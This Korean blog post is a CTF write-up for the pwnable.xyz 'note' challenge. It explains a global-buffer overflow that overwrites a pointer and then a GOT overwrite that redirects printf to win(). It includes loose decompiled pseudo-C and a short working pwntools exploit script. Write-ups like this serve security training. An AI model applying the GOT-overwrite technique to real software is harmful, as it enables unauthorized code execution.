🗂️ INDEX

글 작성자: Universe7202

 

pwnable.xyz 에서 6번째 문제 note 이다.

 

 

 

 


Analyze

 

이번 문제의 사용자 정의 함수를 찾아보면 여러개가 있다는 것을 알 수 있다.

ubuntu:~/environment/ctf/pwnable.xyz/06_note $ func challenge
b edit_desc
b edit_note
b handler
b main
b print_menu
b read_int32
b setup
b win

 

 

해당 바이너리 파일을 gdb로 분석하여 c 코드로 나타내면 아래와 같다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char s[48];

int read_int32(){
    read(0, &rbp-0x30, 0x20);
    *(&rbp-0x30) = atoi($rbp-0x30);
    
    return *(&rbp-0x30);
}

void edit_note(){
    int len;
    
    printf("Note len? ");
    len = read_int32();
    &rbp-0x8 = malloc(len); // 사용자 마음대로 크기 설정
                            // &rbp-0x8 = 0x602260
    printf("note: ");
    read(0, &rbp-0x8, len); // 문자열 끝에 NULL 붙지 않음.
    
    strncpy(s, &rbp-0x8, len);  // s 크기 이상으로 저장 가능
    
    free(&rbp-0x8);
}

void edit_desc(){
    if(!s[32])
        s[32] = malloc(0x20);   // 0x602260
        
    printf("desc: ");
    read(0, s[32], 0x20);   
    
    // not free??
}

int main(){
    int menu;
    
    printf("Note taking 101.\n");
    while(1){
        printf("Menu: \n 1. Edit note.\n 2. Edit desc.\n 0. Exit\n> ");
    
        menu = read_int32();
        
        if(menu == 1)
            edit_note();
        else if(menu == 2)
            edit_desc();
        else break;
    }
    
}

 

== edit_note() ==

전역 변수 s[48] 있고, 사용자가 입력한 숫자만큼 공간을 할당하여 s 변수에 값을 넣는다.

즉, 사용자가 원하는 크기를 정하여 특정 메모리에 값을 overwrite 할 수 있다.

 

 

== edit_desc() ==

s[32] 공간에 값이 비어 있다면 0x20 만큼 공간을 할당한 후, 해당 공간에 주소를 저장한다.

그리고 s[32] 에 저장되어 있는 값을 가져와 해당 주소에 값을 write 한다.

 

 

 

위 상황을 고려하고 메모리 구조를 그림으로 표현하면 아래와 같다.

메모리 구조

만약 s[32] 값이 비어있지 않고, s[32] 값이 어떤 주소일 경우 read 함수를 통해 임의의 값을 쓸수가 있게 된다.

 

공격 시나리오는 아래와 같다.

 

edit_note() => s 변수에 [dummy (32bytes)] + [Arbitrary address] 입력

=> edit_desc() => s[32] 에 저장된 값으로 read() 함수로 임의의 값 write

 

 

위 공격을 하기 위해서는 GOT Overwrite 공격으로 특정 함수의 주소를 win() 함수로 overwrite 하는 것이다.

 

바이너리 안에 사용된 아무 라이브러리 함수의 GOT 를 조작해도 된다.

 

필자는 printf 함수의 GOT를 조작하였다.

 

 


Payload

from pwn import *

e = ELF("./challenge")
p = remote("svc.pwnable.xyz", 30016)

win_addr = 0x40093c

p.sendlineafter("> ", "1")
p.sendlineafter("Note len? ", "50")

fst_pay = "A" * 32 + p64(e.got["printf"])
p.sendlineafter("note: ", fst_pay)

p.sendlineafter("> ", "2")
p.sendlineafter("desc: ", p64(win_addr))

p.interactive()

 

'🚩CTF' 카테고리의 다른 글

[pwnable.xyz] TLSv00 write up  (0) 2020.01.28
[pwnable.xyz] free spirit write up  (0) 2020.01.27
[pwnable.xyz] Grownup write up  (0) 2020.01.25
[pwnable.xyz] two targets write up  (0) 2020.01.02
[pwnable.xyz] xor write up  (0) 2020.01.01